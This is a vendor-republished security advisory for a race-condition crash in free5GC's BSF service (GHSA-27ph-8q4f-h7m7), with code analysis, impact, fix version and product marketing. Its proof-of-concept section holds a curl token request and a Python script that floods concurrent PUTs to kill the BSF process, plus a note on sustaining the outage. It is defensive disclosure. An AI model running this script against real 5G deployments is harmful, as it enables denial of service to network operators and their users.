GHSA-27ph-8q4f-h7m7 is a medium-severity (CVSS 6.5) vulnerability in github.com/free5gc/bsf. O3 Security confirms whether GHSA-27ph-8q4f-h7m7 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
free5GC's BSF concurrent PUT /nbsf-management/v1/subscriptions/{subId} crashes the BSF process via concurrent map read/write on Subscriptions
Real-World Exposure
github.com/free5gc/bsfReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
free5GC's BSF PUT /nbsf-management/v1/subscriptions/{subId} handler has an unsynchronized write on the global Subscriptions map. The handler first reads the map under RLock() via BSFContext.GetSubscription(subId), but if the subscription does not exist, ReplaceIndividualSubcription() writes back to the same map directly without taking the mutex (bsfContext.BsfSelf.Subscriptions[subId] = subscription). Under concurrent authenticated PUT load, one goroutine can read while another writes the map, which causes the Go runtime to abort the process with fatal error: concurrent map read and map write (Go runtime panics that come from concurrent map access bypass recover() and terminate the process). The BSF container exits with code 2 -- the entire BSF SBI surface goes down until restart.
This endpoint requires a valid nbsf-management OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated process-kill DoS.
Details
Validated against the BSF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/bsf:v4.2.1 - Docker validation date: 2026-03-22
- BSF endpoint:
http://10.100.200.11:8000
Read side (locked):
func (c *BSFContext) GetSubscription(subId string) (*BsfSubscription, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
sub, exists := c.Subscriptions[subId]
return sub, exists
}
Unsafe write side in the create-if-absent branch of ReplaceIndividualSubcription (no Lock()):
subscription.SubId = subId
bsfContext.BsfSelf.Subscriptions[subId] = subscription
Under concurrent traffic, the Go runtime detects the unsynchronized read/write on c.Subscriptions and aborts the process. Go's concurrent map read and map write fatal is NOT a normal panic -- it is unrecoverable, Gin's recovery middleware does not catch it, and the BSF process terminates.
Code evidence (paths in free5gc/bsf):
- Read side (locked):
NFs/bsf/internal/sbi/processor/subscriptions.go:81NFs/bsf/internal/context/context.go:726NFs/bsf/internal/context/context.go:730
- Unsafe write side (the create-if-absent branch in PUT, no lock):
NFs/bsf/internal/sbi/processor/subscriptions.go:111NFs/bsf/internal/sbi/processor/subscriptions.go:114
The normal locked helpers (CreateSubscription(), GetSubscription(), UpdateSubscription(), DeleteSubscription()) DO take the mutex correctly. The bug is specific to the inline write inside the PUT create-if-absent branch.
PoC
Reproduced end-to-end against the running BSF at http://10.100.200.11:8000.
- Obtain a valid
nbsf-managementtoken from NRF:
curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=BSF&scope=nbsf-management'
- Send concurrent PUT requests against fresh
subIdvalues (the validated lab uses 64 worker threads x 50 fresh subIds = 3200 concurrent PUTs):
import json, threading, urllib.request
TOKEN = "<valid_nbsf_management_jwt>"
BASE = "http://10.100.200.11:8000/nbsf-management/v1"
PAYLOAD = json.dumps({
"events": ["PCF_BINDING_CREATION"],
"notifUri": "http://127.0.0.1/cb",
"notifCorreId": "1",
"supi": "imsi-208930000000003",
}).encode()
def send_put(i, n):
url = f"{BASE}/subscriptions/race-mix-{i}-{n}"
req = urllib.request.Request(url, data=PAYLOAD, method="PUT")
req.add_header("Authorization", f"Bearer {TOKEN}")
req.add_header("Content-Type", "application/json")
urllib.request.urlopen(req, timeout=2).read()
threads = []
for i in range(64):
for n in range(50):
threads.append(threading.Thread(target=send_put, args=(i, n)))
for t in threads: t.start()
for t in threads: t.join()
- BSF container logs (
docker logs bsf) show the Go runtime fatal that terminated the process:
[INFO][BSF][Proc] Handle ReplaceIndividualSubcription
fatal error: concurrent map read and map write
github.com/free5gc/bsf/internal/sbi/processor.ReplaceIndividualSubcription(0xc000514300)
github.com/free5gc/bsf/internal/sbi/processor/subscriptions.go:81 +0x15f
- Container state confirms exit code 2:
exited|2|0
Impact
Unsynchronized concurrent access (CWE-362) to a shared map (BsfSelf.Subscriptions), combined with missing synchronization on the create-if-absent branch (CWE-820). Go's runtime detects concurrent map read/write and terminates the process via a non-recoverable fatal error -- Gin's recover() middleware does NOT catch this class of fatal, unlike ordinary nil-deref panics. The whole BSF process exits, dropping BSF's nbsf-management SBI surface (PCF binding lookups for SMF, AF -> PCF binding discovery, etc.) until restart.
Any party that holds (or can obtain) a valid nbsf-management token can:
- Drive the create-if-absent code path at high concurrency by PUTting a stream of fresh
subIdvalues, deterministically tripping the runtime fatal and killing the BSF process. - Repeat the trigger after every restart to sustain the outage.
No Confidentiality impact (the crash returns no attacker-readable data). No persistent Integrity impact (BSF subscription state is in-memory and is lost when the process dies). The whole impact concentrates in Availability: complete loss of BSF service via concurrent attacker traffic on a single endpoint.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/926 Upstream fix: https://github.com/free5gc/bsf/pull/7
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/free5gc/bsf | all versions | 1.0.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/free5gc/bsf. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/free5gc/bsf to 1.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-27ph-8q4f-h7m7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-27ph-8q4f-h7m7 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-27ph-8q4f-h7m7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-27ph-8q4f-h7m7 in your dependencies?
O3 detects GHSA-27ph-8q4f-h7m7 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.